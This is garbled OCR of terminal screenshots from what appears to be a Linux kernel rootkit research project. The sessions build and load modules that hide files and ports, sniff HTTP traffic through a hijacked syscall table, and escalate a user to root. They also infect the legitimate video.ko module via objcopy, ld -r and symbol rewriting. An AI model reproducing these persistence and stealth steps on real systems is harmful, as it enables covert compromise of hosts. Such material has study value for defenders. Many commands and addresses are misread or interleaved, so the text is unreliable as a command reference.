Changing seq op
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E)ER LI EIMPAGE OFFSET = ffff8380000000000]
EYERLELVIRMsys call table = ffff8800016001e6]
EYEWLELVPABsys call table - PAGE OFFSET =
B PZVaBFarewell the World!
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anon# 15
> Running 'command s --all --color=always
: ifmon.c Makefile zeroevil

anon# nake
make modules \
directory "/lib/modules/4.6.3/build" \
/root/shared/research-rootkit.git/4-entry SYSCALL 64/ifmon"
Entering directory '/root/source/linux-4.6.3
/root/shared/research-rootkit.git/4-entry SYSCALL 64/1fmon/ifmo

make[1] :
cc M1

n.o
LD [M]

nko.o
Building modules, stage 2.
MODPOST 1 modules

/root/shared/research-rootkit.git/4-entry SYSCALL 64/ifmon/ifmo

cc /root/shared/research-rootkit.git/4-entry SYSCALL 64/ifmon/ifmo
nko.mod.o

LD [M] /root/shared/research-rootkit.git/4-entry SYSCALL 64/ifmon/ifmo
nko. ko
make[1]: Leaving directory '/root/source/linux-4.6.3

anon# 1n:moc ifmonko.ko
anon []

[23879.047845] GET / HTTP/1
[23879.047854] Host: waw.bilibili.com
[23879.047861] User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko
/20100101 Firefox/45.0
g oermsn) accent:
0.9,%/*;q=0.
[23879 047908 Accept-Language: en-US,en;q=0.5
[23879.047919] Accept-Encoding: gzip, deflate
[23879.047929] DNT: 1
[23879.047931] Cookie:
4864
[23879.047951]_Connection:
[23879.047958]
[23879.048529] ifmonko.print memoryRNIEII7]

14 00 09 00 16 00 01 03 Se 3f 93 57 80 00 00 00

00_00 60 00]
[23879.076285] ifmonko. print meriory IEIIIR]

14 00 09 60 16 60 01 03 Se 3f 93 57 80 00 00 00

00_60 60 00]
[23879.248886] ifmonko.print asciifiEEaEl
[23879.243391] GET /css/index.css HTTP/L.1
(23879243901 Host: static.hdslb.com
[23879.243908] User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko
/20100101 Firefox/45.0
[23879.248933] Accept: text/css,*/*;
[23879.248942] Accept-Language: en-US,en;q=
[23879.248952] Accept-Encoding: gzip, deflate
[23879.248962] DNT: 1
[23879.243955] Referer: http://ww.bilibili.com/
[23879.248976] Connection: keep-alive
[23879.243983] If-Modified-Since: Fri, 01 Apr 2016 16:02:44 GHT
[23879.248999] If-None-Match: "56fedbad-1ca2"

text/html, application/xhtml+xml,application/xml;q=

fts=1469267679; pgv_pvi=1423168512; pgv_si=s176208

keep-alive

.1

.5
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anon# mkdir ~/test & touch ~/test/032416_525.mp4 && 1s ~/test
Running ‘command ls --all --color=always /root/test’

anon# rmmod video

anon# 15 ~/test

=> Running 'command 1s --all --color=always /root/test'
032416 525.mp4

anoné ]

[ 12.833613] vboxguest: Successfully loaded version 5.0.24 Debian (inte
rface 0x00010004)

[ 12.939605] input: Power Button as /devices/LNXSYSTM:08/LNXPWRBN:00/in
put/inputs

[ 12.930612] ACPI: Power Button [PWRF]

[ 12.939715] input: Sleep Button as /devices/LNXSYSTM:08/LNXSLPBN:00/in
put/input

[ 12.939718] ACPI: Sleep Button [SLPF]

[ 12.966912] ACPI: Video Device [GFX] (multi-head: yes rom: no post
no)

[ 12.956992] input: Video Bus as /devices/LNXSYSTH:@0/LNXSYBUS:06/PNPOA
03:00/LNXVIDEQ:06/input/input7
[ 12.967039] video.fshid init
[ 12.967348] video.fshid init
[ 12.967641] video.fshid init
[ 12.967938] video.fshid init
ed0 to T{TTT11C0388000

[ 13.080506] ACPI: Battery Slot [BAT®] (battery present

[ 13.096950] piixd smbus 800R:00:07.8: SBus base address uninitialized
SNiipgradesBI0S or use force addr=exaddr

[ 13.152864] snd intel8x0 0080:00:05.0: disable (unknown or VT-d) VM op
timization

Greetings the World!
Opening the path: /
Succeeded in opening
Changing file op->iterate from Ffffffffq






_images/video.png
anon# cp /lib/modules/4.6.0-kalil-amd64/kernel/drivers/acpi/video.ko .
anon# readelt -s video.ko | orep -e grep -e acpi video init -e acpi video
exit

™ 60: 0000009000000ORO 175 FUNC
t

LOCAL DEFAULT 6 acpi video ini

61: 0090000000A0ORO0 10 FUNC  LOCAL DEFAULT 8 acpi video exi
anon# objcopy video.ko guideo.ko --globalize-symbol acpi video init --glo
balize-symbol acpi video exit

anon# readelt -s guideo.ko | grep -e grep -e acpi video init -e acpi vide
o exit

~ 131: 00000090000000R0 175 FUNC
t

GLOBAL DEFAULT 6 acpi video ini

132: 0090000000A00R00 10 FUNC  GLOBAL DEFAULT 8 acpi video exi
anon# (cd fshid && make --quiet)
WARNING: "acpi video init" [/root/shared/research-rootkit.git/3-persisten
ce/kernel/fshid/fshidko.ko] undefined
WARNING: "acpi video exit" [/root/shared/research-rootkit.git/3-persisten
ce/kernel/fshid/fshidko.ko] undefined
anon# 1d -r guideo.ko fshid/fshidko.ko -o infected.ko
anon# setsyn infected.ko init module $(setsyn infected.ko fshid init) &&
ctsyn infected.ko cleanup module $(setsym infected.ko fshid exit)
Writing complete.
Writing complete.
anon# rinod video
anon# 1nsnod infected.ko
anon# nkdir -p ~/test & touch ~/test/832416 525.mp4 && s ~/test

Running 'command s --all --color=always /root/test

anon# rmmod video

anon# 15 ~/test

Running 'command ls --all --color=always /root/test
032416 525.mp4

anoné ]

[anon# diesg -C & diesg -w

[ 6616.799739] ACPT: Video Device [GFX@] (multi-head: yes rom: no
)

[ 6616.791906] input: Video Bus as /devices/LNXSYSTM:08/LNXSYBUS:00/PNPOA
63:00/LNXVIDEQ: 06/input/inputls

post:

Greetings the World!
Opening the path: /
Succeeded in opening: /|
Changing file op->iterate from Ffffffffq

[ 6616.792993] video.fshid init|
2adedd to fFffffffcO5b30de
[WEPACEL IO G TN ETCR FARGEY,: Hiding: 032416 525.mp4]

5b30d0 to fFffffffcO2adedd
[V EEECE T O SIS G Farewell the World
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anon# ./1ssyn ../noinj/noinj.ko 1: 0000000000000000 O SECTION LOCAL DEFAULT 1
hun  index ~ size = value info other name 2: 00090000000000R0 O SECTION LOCAL DEFAULT 2
6 0 0 6 0 0 3: 00090000000000R0 O SECTION LOCAL DEFAULT 4
1. - cog 0 6 3 0 4: 0009000000000000 O SECTION LOCAL DEFAULT 5
2 2 0 6 3 0 5: 0009000000000000 O SECTION LOCAL DEFAULT 6
3 4 0 6 3 0 6: 00000000000000R0 O SECTION LOCAL DEFAULT 7
4 s 0 6 3 0 7: 0009000000000000 O SECTION LOCAL DEFAULT 9
5 6 0 6 3 o 8: 00090000000000R0 O SECTION LOCAL DEFAULT 10
6 7 0 6 3 0 9: 00090000000000R0  © SECTION LOCAL DEFAULT 11
79 0 6 3 0 10: 0009000000000OR0 O SECTION LOCAL DEFAULT 13
8 a 0 6 3 o0 11: 00090000000R00R0 O SECTION LOCAL DEFAULT 14
9 b 0 6 3 o 12: 00090000000000R0 O SECTION LOCAL DEFAULT 16
1 d 0 6 3 0 13: 00090000000000R0 O SECTION LOCAL DEFAULT 17
1 e 0 6 3 o 14: 00090000000000R0 O SECTION LOCAL DEFAULT 19
12 16 0 6 3 0 15: 00090000000000R0 O SECTION LOCAL DEFAULT 21
13 1 0 6 3 0 16: 00090000000000R0 O SECTION LOCAL DEFAULT 22
u 1 0 e 3 0 17: 00090000000000R0 O SECTION LOCAL DEFAULT 23
15 15 0 6 3 0 18: 0009000000000OR0 O SECTION LOCAL DEFAULT 24
16 16 0 6 3 0 19: 00090000000R0OR0 O FILE  LOCAL DEFAULT ABS noinj.c
17 17 0 6 3 0 20: 009000000OROORO0 12 OBJECT LOCAL DEFAULT ~ 6 UNIQUE ID i
18 18 0 6 3 0 censed
19 fffl 0 6 4 0 noinj.c 21: 0090000000900000 O FILE  LOCAL DEFAULT ABS noinj.mod.c
20 6 12 0 1 0 _UNIQUE ID licensed 22: 009000000OROOR10 O OBJECT LOCAL DEFAULT 6 module depen
21 £ff1 [ 6 4 0 noinj.mod.c ds
2 6 9 10 1 0 _module depends 23: 0090000000900000 192 OBJECT LOCAL DEFAULT 9 versions
23 9 192 6 1 0 versions 24: 009000000OROOR19 55 OBJECT LOCAL DEFAULT 6 _UNIQUE ID ve
2 6 55 19 1 0 _UNIQUE ID_vermagico rmagice
25 b 832 0 11 0 _this module 25: 0090000000000000 832 OBJECT GLOBAL DEFAULT 11 _this module
2% 2 2 20 12 @ Cleanup module 26: 0090000000000020 24 FUNC  GLOBAL DEFAULT 2 Cleanup module
27 0 0 0 10 0 fentry 27: 0090000000900000 O NOTYPE GLOBAL DEFAULT UND _ fentry
28 2 27 0 12 0 Init module 28: 0090000000R00000 27 FUNC  GLOBAL DEFAULT 2 Init module
29 2 46 40 12 © fake init 29: 0090000000000040 46 FUNC  GLOBAL DEFAULT 2 fake init
300 2 27 0 12 0 noinj init 30: 0090000000AOOA0D 27 FUNC  GLOBAL DEFAULT 2 noinj init
31 2 24 20 12 © noinj exit 31: 0090000000R00020 24 FUNC  GLOBAL DEFAULT 2 noinj exit
2 e 0 0 10 0 printk 32: 0090000000900000 O NOTYPE GLOBAL DEFAULT UND printk
33¢ifip 46 70 12 @ fake exit 33: 0090000000R00070 46 FUNC  GLOBAL DEFAULT 2 fake exit
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anon@anon ..earch-rootkit.git/2-fundamentals/fshid (git)-[master] % ls

. .. fshid.c 1lib Makefile test

anon@anon ..earch-rootkit.git/2-fundamentals/fshid (git)-[master] % make

make modules \

directory "/lib/modules/4.6.2-1-ARCH/build" \
M="/home/anon/public/research-rootkit.git/2-fundamentals/fshid"

make[1]: Entering directory '/usr/lib/modules/4.6.2-1-ARCH/build

CC [M] /home/anon/public/research-rootkit.git/2-fundamentals/fshid/fshid
0

LD [M] /home/anon/public/research-rootkit.git/2-fundamentals/fshid/fshid
ko.o

Building modules, stage 2.
MODPOST 1 modules

cc /home/anon/public/research-rootkit.git/2-fundamentals/fshid/fshid
ko.mod.o

LD [M] /home/anon/public/research-rootkit.git/2-fundamentals/fshid/fshid
ko.ko

make[1]: Leaving directory '/usr/lib/modules/4.6.2-1-ARCH/build
anon@anon ..earch-rootkit.git/2-fundamentals/fshid (git)-[master] % ls

©32416_525.mp4
anon@anon ..earch-rootkit.git/2-fundamentals/fshid
smod fshidko.ko

anon@anon ..earch-rootkit.git/2-fundamentals/fshid

(git)-[master] % sudo in

H
I
"
B
]
i

(git)-[master] %

anon@anon ..earch-rootkit.git/2-fundamentals/fshid
mod fshidko
anon@anon ..earch-rootkit.git/2-fundamentals/fshid

(git)-[master] % sudo rm

(git)-[master] % 1s test

©32416_525.mp4

anon@anon ..earch-rootkit.git/2-fundamentals/fshid (git)-[master] %

anonganon ~ % sudo dmesg -C & dmesg —w
[198822.271958]
[198822.271965]
[198822.271971]
[198822.271974]

fshidko.init_modulel
fshidko. i
fshidko.init_modulef:
fshidko.init_modulef:

tings the World!
ing the pat

[198826.097976]
[198832.168059]

Fshidko. fake_filld1rBETELTS
Fshidko. cleanup_moduTleliioeo iy duhels

[198832.168135]
[198832.168146]
[198832.168152]

fshidko.cleanup_modulef
fshidko.cleanup_module;
fshidko. cleanup_modulel:

[198832.168157]

fshidko.cleanup_modulel





_images/get.png
anon# 1<

> Running 'command s --all --color=always
get.c Makefile zeroevil

anon# ake --quiet

anon# 11100 getko.ko

anon# (ot getko.Ko

anon# I

[anon# diesg -C && dinesg -w
[19981.419253] getko.init modul
[19981.478376] getko.init modul
[19981.478387] getko.init modul
[19981.478389] getko.init modul
[19981.478391] getko.init modul
[19981.478394] getko.init modul
[19981.478396] getko.init modul
[19981.478398] getko.init modul
[19985.528214] getko. cleanup_modulef:

Greetings the World!
According to sys close:
virt: fff8800016001a0

Farewell the World!
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root@anon:~# dmesg --clear & dmesg --follow

[ 5063.643670]

[ 5063.643677]

[ 5063.643679] Ne
[

[

[Greetings the World!
bl

503.643681] Noy

LY prr2ird@Farewell the World!
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_images/ping.png
anon# < [anon# diesg -C && dnesg -w
Running 'command s --all --color=always' [23323.344645] ifmonko.init modulef
2 ifmon.c Makefile zeroevil [23323.344650] ifmonko.init modulel
anond# 112 ke [23323.396866] ifmonko.init module!

Greetings the World!
_ NR syscall max: 545
real sys call table:

ffff8800016001a0;

make modules \ phys: 16091a0)
--directory "/lib/modules/4.6.3/build" \ [PEEPERECIEYPARER TSR M IS: fake sys call table: fTffffffco5el3a0}
M="/root/shared/research-rootkit.git/4-entry SYSCALL 64/ifmon" phys: 405e13a0
make[1]: Entering directory '/root/source/linux-4.6.3' ifnonko.set lstar sct
CC [M] /root/shared/research-rootkit.git/4-entry SYSCALL 64/ifmon/ifmo ifnonko.set lstar sct
n.o [23328.307229] ifmonko.print memory
LD [M] /root/shared/research-rootkit.git/4-entry SYSCALL 64/1fmon/ifmo 14 00 00 60 16 60 01
nko.o
Building modules, stage 2. 308494] 1fmonko.print memoryAN R
MODPOST 1 modules 08 00 63 6e 3b 60 00 01 37 3d
cc /root/shared/research-rootkit.git/4-entry SYSCALL 64/1fmon/ifmo 6 c8 89 00 00 00 00 00 10 11
nko.mod. o 18 19 1a 1b lc 1d le 1f 20 21
LD [M] /root/shared/research-rootkit.git/4-entry SYSCALL 64/ifmon/ifmo 28 29 2a 2b 2¢ 2d 2e 2f 30 31
nko.ko 311656] 1fmonko.print memory- 1)
make[1]: Leaving directory '/root/source/linux-4.6.3' 57 41 54 43 48 44 4f
anon# 10500 1fmonko. ko 332322] 1ifmonko.print memory
anon# ping -cl baidu.com 9 c5 01 00 60 01 00
PING baidu.com (111.13.101.208) 56(84) bytes of data. 03 31 30 31 62 31 33
64 bytes from 111.13.101.268 (111.13.101.268): icmp seq=1 tt1=63 time=23. 64 64 72 04 61 72 76 61 09 00
4 ms 354514] 1fmonko.print memory: 1)
9 c5 61 00 00 01 00 00 69 80
--- baidu.com ping statistics --- 63 31 30 31 62 31 33 63 31 31
1 packets transmitted, 1 received, 0% packet loss, time @ms 64 64 72 04 61 72 70 61 09 00
rtt min/avg/max/mdev = 23.483/23.483/23.483/0.000 ms 378180] ifmonko.print memory- 1)
anon# roc 1fmonko.ko 18 00 09 00 16 60 05 03 01 00
anon# 00 60 60 00 00 00 00

378276] ifmonko.print memory-
Ic 00 09 60 la 60 05 03 01 89 00
00 00 00 00 fe 00 60 01 60 60 0O
543652] 1fmonko. cleanup_modul
543062] ifmonko.set lstar sct]
543065] 1fmonko.set lstar scth





_images/fsmon.png
¢ 1195.95 KiB/s + 32.81 KiB/s Mon May 30 15:57:41 CST 2016|

anonganon ~/shared/research-rootkit.git/4-fsmon (git)-[master] % make anonganon ~ % sudo dmesg -C && dmesg -w
make modules \ [375170.065795]
directory "/lib/modules/4.5.4-1-ARCH/build" \ [375178.701962] me/a sh_histc
M="/home/anon/shared/research-rootkit.git/4-fsmon" [EYSRCIEPTITSWWIRET: /home/anon/. zsh_histor
make[1]: Entering directory '/usr/lib/modules/4.5.4-1-ARCH/build" [375178.704129
Building modules, stage 2. [375184.276263] : /home/anon/.zsh_histo
MODPOST 1 modules [375184.270300] i /home/anon/ h_hist
LD [M] /home/anon/shared/research-rootkit.git/4~fsmon/fsmon.ko [375184.272493] : another_file]
make[1]: Leaving directory '/usr/lib/modules/4.5.4-1-ARCH/build’ [375190.674991] me/a _
anonganon ~/shared/research-rootkit.git/4-fsmon (git)-[master] % sudo insmo|[375190.675076] unlinkk y.
d fsmon.ko [375190.679840]
anonganon ~/shared/research-rootkit.git/4-fsmon (git)-[master] % touch new_|[375197.121368]
file [375197.121402]
anonganon ~/shared/research-rootkit.git/4-fsmon (git)-[master] % touch anot|[375197.123875] unli new_fil
her_file [375197.123918] i another_f'
anonganon ~/shared/research-rootkit.git/4-fsmon (git)-[master] % touch yet_|[375197.123931]
another_file [375201.662857]
anonganon ~/shared/research-rootkit.git/4-fsmon (git)-[master] % rm new fil|[375201.662907]

e another file yet another file [375201.671986]
anonganon ~/shared/research-rootkit.git/4-fsmon (git)-[master] % sudo rmmod|[375201.675884]
fsmon

anon@anon ~/shared/research-rootkit.git/4-fsmon (git)-[master] % [|
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root@anon:~/public/research-rootkit.git/2-fundamentals/root# s
Lib Makefile redtme.sh root.c
root@anon:~/public/research-rootkit.git/2-fundamentals/root# make
make modules \
irectory "/lib/modules/4.6.0-kalil-and64/build!:\
/root/public/research-rootkit.git/2-fundamentals/root"
make[1]: Entering directory '/usr/src/linux-headers-4.6.0-kalil-and64

CC [M] /root/public/research-rootkit.git/2=fundarientals/root/root.o

LD [M] /root/public/research-rootkit.git/2-fundamentals/root/rootko.o

Building modules, stage 2.
make[4]: Warning: File '/root/public/research-rootkit.git/2-fundamentals/
root/rootko.o' has modification time .69 s.ifi the future

MODPOST 1 modules

cc /root/public/research-rootkit.git/2-fundamentals/root/rootko.mo
d.0

LD [M] /root/public/research-rootkit.git/2-fundamentals/root/rootko.ko
make[4]: warning: Clock skew detected. Your build may be incomplete
make[1]: Leaving directory '/usr/src/linux-headers-4.6.0-kalil-and6d:
root@anon:~/public/research-rootkit.git/2-fundamentals/root# insmod rootk

/public/research-rootkit.git/2-fundanentals/root# useradd anon
public/research-rootkit.git/2-fundamentals/root# su anon

s ./roetme.sh

u1d=1000 (anon) g1d=1001(anon) groups=1601(anon)

/proc/kcore: regular file, no read permission

uid=0(root) gid=6(root) groups=0(root),1601(anon)

/proc/kcore: ELF 64-bit LSB core file x86-64, version 1 (SYSV), SVR4-styl
e, from 'BOOT_IMAGE=/boot/vmlinuz-4.6.0-kalil-and64 root=UUID=d0bd16af-16
£3-47bd-bc83-73"

&

/public/research-rootkit.git/2-fundamentals/root# userdel anon
/public/research-rootkit.git/2-fundamentals/root# rmmod rootko

root@anon:~# dmesg -C

[
[
[
[
[

571.271240]
580.335012]
580.344257]
580.344262]
590.071019]

rootko
rootko
rootko
rootko
rootko

&& dmesg -w
init modulel
write handler
write handler
write handler
cleanup_module

Greetings the World!

Alien, get out of here
Conrade, I will help you
See you!
Farewell the World!

a wrong try





_images/set-rec.png
anon# s get
> Running 'command 1s --all --color=always get
1 get.c Makefile zeroevil
anon# - set
==> Running 'comnand 1s --all --color=always set
Makefile set.c zeroevil
anon# 15 rec
> Running ‘command 1s --all --color=always rec
Makefile rec.c zeroevil

anon# <00 set/setko.ko
anon# ccho > /proc/entry

anon# in<iod get/getko.ko

anon# <00 rec/recko.ko

anon# (11100 getko & 115100 get/getko.ko
anon# ¢ setko

anon# rod getko

anon# o recko

anon# [

anon# for one in get set rec; do (cd ${one} & nake --quiet); done

6886020]
688029]
554201]
554206]
554209]
554211]
944047]
013324]
013331]
013333]
013334]
013336]
013337]
013339]
486691]
550037]
556044]
556046]
550047]
5560049]
550051]
550052]
556055]
550057]
756682]
788180]
848828]
848834]
848835]
848836]
848837]
848838]
848839]
771572]
619178]
696711]

setko
setko
setko
setko
setko
setko
getko
getko
getko
getko
getko
getko
getko
getko
recko
recko
recko
recko
recko
recko
recko
recko
recko
recko
getko
getko
getko
getko
getko
getko
getko
getko
getko
setko
getko
recko

init_modulef

set_lstar
1init moduT,
init modul
init moduly
init modul
nit modul
init modul
init modul
init modul
init modul
init modul
init modul
1init modul
init modul
init modul
init modul

cleanup_modul

cleanup_moduler.
cleanup_moduler.

Greetings the World!

: fake sys call table:

real sys call table: ffff8300016001a0)
FFFFFFFFCO5e7480)
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anon# 15

> Running 'command ls --all --color=always'

codeinj.c fshid infect.sh Makefile
anon# 1< fshid
=> Running 'command ls --all --color=always fshid

. fshid.c lib Makefile test
anon# (cd fshid & nake --quiet)
WARNING: "codeinj exit" [/root/research-rootkit.git/3-persistence/codein
/fshid/fshidko.ko] undefined

WARNING: "codeinj init" [/root/research-rootkit.git/3-persistence/codein
/fshid/fshidko.ko] undefined

anon# nake --quiet

anon# 10 -r codeinj.ko fshid/fshidko.ko -0 infected.ko

Snon# <121 infectadoko init module $(setsyn infected.ko fshid | init) &
<ctsyn infected.ko cleanup module $(setsym infected.ko fshid exit)
Writing complete.

Writing complete.

anon# 1nsiod infected.ko

anon# 15 fshid/test

=> Running 'command 1s --all --color=always fshid/test

anon# rmnod codeinj

anon# 15 fshid/test

=> Running 'command 1s --all --color=always fshid/test
032416 525.mp4

anon []

root@anon:~/shared/research-rootkit.git/3-persistence/codeinj# dmesg -C &
& dnesg -w
[26460.727786] codeinj NIRRT
[26460.727794] codein]. fshid_initpMde s R RTaT]
[26460.727797] codein]. fshid initEMIIGL LRSI EA
[26460.727807] codein] . fshid initPRCIIaeriet G
[26460.727810] codeinj.fshid init
c0289ed0 to TT{Tf1TfcO5bbO40
[26463.389217) codeinj.fake filldir]
[26466.447999] codein]
[26466.448008] codein].fshid exitRMIMIFLL ST RFTT)
[26466.448014] codein].fshid exitfCIIGEa L LIet G
[26466.448035] codein]. fshid exitHRUIEIE LTI e AN S R T A ARRAR]
[fcO5bb8A0 to FfTffTffcB289edd

[26466.448039] codeinj.fshid exit| ewell the World!
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cc /root/public/research-rootkit.git/2-fundamentals/pthid/pthidko.
mod .. o

LD [M] /root/public/research-rootkit.git/2-fundamentals/pthid/pthidko.
ko
make[1]: Leaving directory '/usr/src/linux-headers-4.6.0-kalil-amd64

rootanon:~/public/research-rootkit.git/2-fundamentals/pthid# netstat -an
Active Tnternet comnections (servers and established)

Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 00.0.0.0:111 0.0.0.0:* LISTE
Ecp 0 0 0.0.0.0:56561 0.0.0.0:* LISTE

root@anon:~/public/research-rootkit.git/2-fundamentals/pthid# insmod pthi
dko. ko

root@anon:~/public/research-rootkit.git/2-fundamentals/pthid# netstat -an
|head -4

Active Internet connections (servers and established)

Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:56561 0.0.0.0:* LISTE
N
tcpb 0 0 :::36029 LISTE
N

root@anon:~/public/research-rootkit.git/2-fundamentals/pthid# rmmod pthid
ko

rootanon:~/public/research-rootkit.git/2-fundamentals/pthid# netstat -an
Letive Tnternet comnections (servers and established)

Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 6 0.0.0.0:111 0.0.0.0:* LISTE
Ecp 0 0 0.0.0.0:56561 0.0.0.0:* LISTE

root@anon:~/public/research-rootkit.git/2-fundamentals/pthid# [

26470 to Ff{fffffcO671000 |
[ 6148.610391] pthidko.fake seq_sho

root@anon:~# dmesg -C & dmesg -w
[ SVENIPI WG reetings the World

000

[ 6157.338890] pthidko.cleanup module)

Hiding port 111 using needle

006F
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